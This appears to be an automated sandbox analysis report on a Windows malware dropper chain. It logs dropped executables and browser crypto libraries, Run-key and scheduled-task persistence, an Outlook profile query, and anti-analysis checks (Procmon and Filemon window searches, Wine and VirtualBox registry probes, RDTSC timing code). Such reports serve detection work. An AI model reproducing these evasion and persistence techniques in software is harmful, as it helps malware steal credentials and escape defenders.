Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1758720 > 1048576

Source: file.exe

Static PE information: Raw size of uogkavog is bigger than: 0x100000 < 0x193800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1758567828.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Admin\Desktop\123\6621357ed8034a07b39d149a6f3e52d8\x64\Release\LClipper.pdbp source: 591832b8e5.exe, 00000024.00000000.2433506280.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, 591832b8e5.exe, 00000024.00000002.2474348449.000001E877730000.00000004.00000020.00020000.00000000.sdmp, 591832b8e5.exe, 00000024.00000002.2477775059.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, exploma.exe.exe, 0000002B.00000000.2478294436.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe, 0000002B.00000002.2538966832.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe.36.dr, 591832b8e5.exe.34.dr
Source:	Binary string: C:\Users\Admin\Desktop\123\6621357ed8034a07b39d149a6f3e52d8\x64\Release\LClipper.pdb source: 591832b8e5.exe, 00000024.00000000.2433506280.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, 591832b8e5.exe, 00000024.00000002.2474348449.000001E877730000.00000004.00000020.00020000.00000000.sdmp, 591832b8e5.exe, 00000024.00000002.2477775059.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, exploma.exe.exe, 0000002B.00000000.2478294436.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe, 0000002B.00000002.2538966832.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe.36.dr, 591832b8e5.exe.34.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1758567828.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.da0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uogkavog:EW;vrpmwbzy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uogkavog:EW;vrpmwbzy:EW;.taggant:EW;
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Unpacked PE file: 29.2.DocumentsGDBFCGIIIJ.exe.330000.0.unpack :EW;.rsrc:W;.idata :W;mpvuybat:EW;egmtcyhv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mpvuybat:EW;egmtcyhv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 30.2.skotes.exe.390000.0.unpack :EW;.rsrc:W;.idata :W;mpvuybat:EW;egmtcyhv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mpvuybat:EW;egmtcyhv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 34.2.skotes.exe.390000.0.unpack :EW;.rsrc:W;.idata :W;mpvuybat:EW;egmtcyhv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mpvuybat:EW;egmtcyhv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 591832b8e5.exe.34.dr	Static PE information: real checksum: 0x0 should be: 0x387111
Source: DocumentsGDBFCGIIIJ.exe.1.dr	Static PE information: real checksum: 0x316731 should be: 0x313a86
Source: skotes.exe.29.dr	Static PE information: real checksum: 0x316731 should be: 0x313a86
Source: file.exe	Static PE information: real checksum: 0x1afeba should be: 0x1ae3f0
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x387111
Source: exploma.exe.exe.36.dr	Static PE information: real checksum: 0x0 should be: 0x387111

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uogkavog
Source: file.exe	Static PE information: section name: vrpmwbzy
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: DocumentsGDBFCGIIIJ.exe.1.dr	Static PE information: section name:
Source: DocumentsGDBFCGIIIJ.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsGDBFCGIIIJ.exe.1.dr	Static PE information: section name: mpvuybat
Source: DocumentsGDBFCGIIIJ.exe.1.dr	Static PE information: section name: egmtcyhv
Source: DocumentsGDBFCGIIIJ.exe.1.dr	Static PE information: section name: .taggant
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: .idata
Source: skotes.exe.29.dr	Static PE information: section name: mpvuybat
Source: skotes.exe.29.dr	Static PE information: section name: egmtcyhv
Source: skotes.exe.29.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_0034D91C push ecx; ret	29_2_0034D92F
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_00341359 push es; ret	29_2_0034135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003AD91C push ecx; ret	30_2_003AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003AD91C push ecx; ret	34_2_003AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003ADFC6 push ecx; ret	34_2_003ADFD9

Source: file.exe	Static PE information: section name: uogkavog entropy: 7.952806005613873
Source: DocumentsGDBFCGIIIJ.exe.1.dr	Static PE information: section name: entropy: 7.045282201348891
Source: random[1].exe.1.dr	Static PE information: section name: .text entropy: 6.865228866816568
Source: skotes.exe.29.dr	Static PE information: section name: entropy: 7.045282201348891
Source: 591832b8e5.exe.34.dr	Static PE information: section name: .text entropy: 6.865228866816568
Source: exploma.exe.exe.36.dr	Static PE information: section name: .text entropy: 6.865228866816568

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGDBFCGIIIJ.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	File created: C:\Users\user\AppData\Local\exploma.exe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\oi[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGDBFCGIIIJ.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run exploma.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 591832b8e5.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGDBFCGIIIJ.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 591832b8e5.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 591832b8e5.exe
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run exploma.exe
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run exploma.exe

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50122

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A67C second address: 115A682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A682 second address: 115A68C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDD24CC6346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A68C second address: 115A694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A694 second address: 115A698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A698 second address: 115A69C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A69C second address: 115A6A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159673 second address: 115967D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDD2537F156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115967D second address: 11596A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6359h 0x00000007 jng 00007FDD24CC6346h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11596A3 second address: 11596AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159836 second address: 1159869 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDD24CC6348h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jbe 00007FDD24CC634Ch 0x0000001b jmp 00007FDD24CC634Ah 0x00000020 push eax 0x00000021 push edx 0x00000022 jo 00007FDD24CC6346h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159869 second address: 115986D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599A1 second address: 11599BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC6353h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599BD second address: 11599F2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDD2537F156h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push edx 0x0000000e jp 00007FDD2537F15Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDD2537F169h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159DEC second address: 1159DF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159DF1 second address: 1159DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C699 second address: 115C69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C69E second address: 115C72D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push esi 0x0000000c push eax 0x0000000d jp 00007FDD2537F156h 0x00000013 pop eax 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push edx 0x0000001a jno 00007FDD2537F15Ch 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007FDD2537F158h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c mov ecx, 5ECCE79Ch 0x00000041 lea ebx, dword ptr [ebp+124404AFh] 0x00000047 pushad 0x00000048 jng 00007FDD2537F158h 0x0000004e push ebx 0x0000004f pop edx 0x00000050 mov dword ptr [ebp+122D2486h], ebx 0x00000056 popad 0x00000057 xchg eax, ebx 0x00000058 pushad 0x00000059 pushad 0x0000005a jmp 00007FDD2537F15Ch 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 push eax 